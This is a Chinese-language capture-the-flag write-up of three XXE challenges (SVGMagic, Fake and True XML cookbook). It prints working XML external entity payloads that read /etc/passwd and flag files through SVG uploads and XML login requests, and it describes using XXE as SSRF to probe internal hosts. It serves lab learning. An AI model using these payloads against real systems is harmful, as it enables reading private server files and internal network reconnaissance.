[BSidesCF 2019]SVGMagic
打开靶机,是一个文件上传,且只能上传png(png也报错500),我一度以为靶机坏了
之前有做过XXE读取文件的题目,这题可不可以构建一个SVG读文件呢?
根据之前的payload,读一下etc文件看看
根基题目回应这里回显的肯定是图片,需要加上图片返回宽高等参数,
<span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="cp"><!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd" ></span>
]>
<span class="nt"><svg</span> <span class="na">height=</span><span class="s">"100"</span> <span class="na">width=</span><span class="s">"1000"</span><span class="nt">></span>
<span class="nt"><text</span> <span class="na">x=</span><span class="s">"10"</span> <span class="na">y=</span><span class="s">"20"</span><span class="nt">></span><span class="ni">&file;</span><span class="nt"></text></span>
<span class="nt"></svg></span>
发现确实返回了文件信息
尝试读取根目录的flag时又报错了。。
吐了,根据百度我们查看/proc/self目录(BUU不知道为什么访问这些目录会报错。)看着百度的payload访问到flag
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="5" y="15">&file;</text> </svg>
[NCTF2019]Fake XML cookbook
打开以后f12给了一些提示/源码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
(这题看百度wp才知道,是XXE的题)
之前复现过xxe的漏洞,拿payload改参数试一下
post
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" >]> <user><username>&xxe;</username><password>aaa</password></user>
获得flag
[NCTF2019]True XML cookbook
这题和[NCTF2019]Fake XML cookbook都是利用XXE漏洞的
不同的是,这题直接读flag文件是不会有回显的。然后就不知道怎么办了
遍历百度,先读一下etc/passwd吧

并没有发现什么有用的信息,而XXE只能读取文件,百度以后发现还可以像SSRF访问内网
我们访问一下hosts文件

发现有内网主机存活,使用http协议访问一下,并没有访问成功,IP往后挪一位发现flag
flag{8922c217-b122-45a9-b470-a8a7f3115646}
这里有一篇链接说的很好一篇文章带你深入理解漏洞之 XXE 漏洞
慢慢品
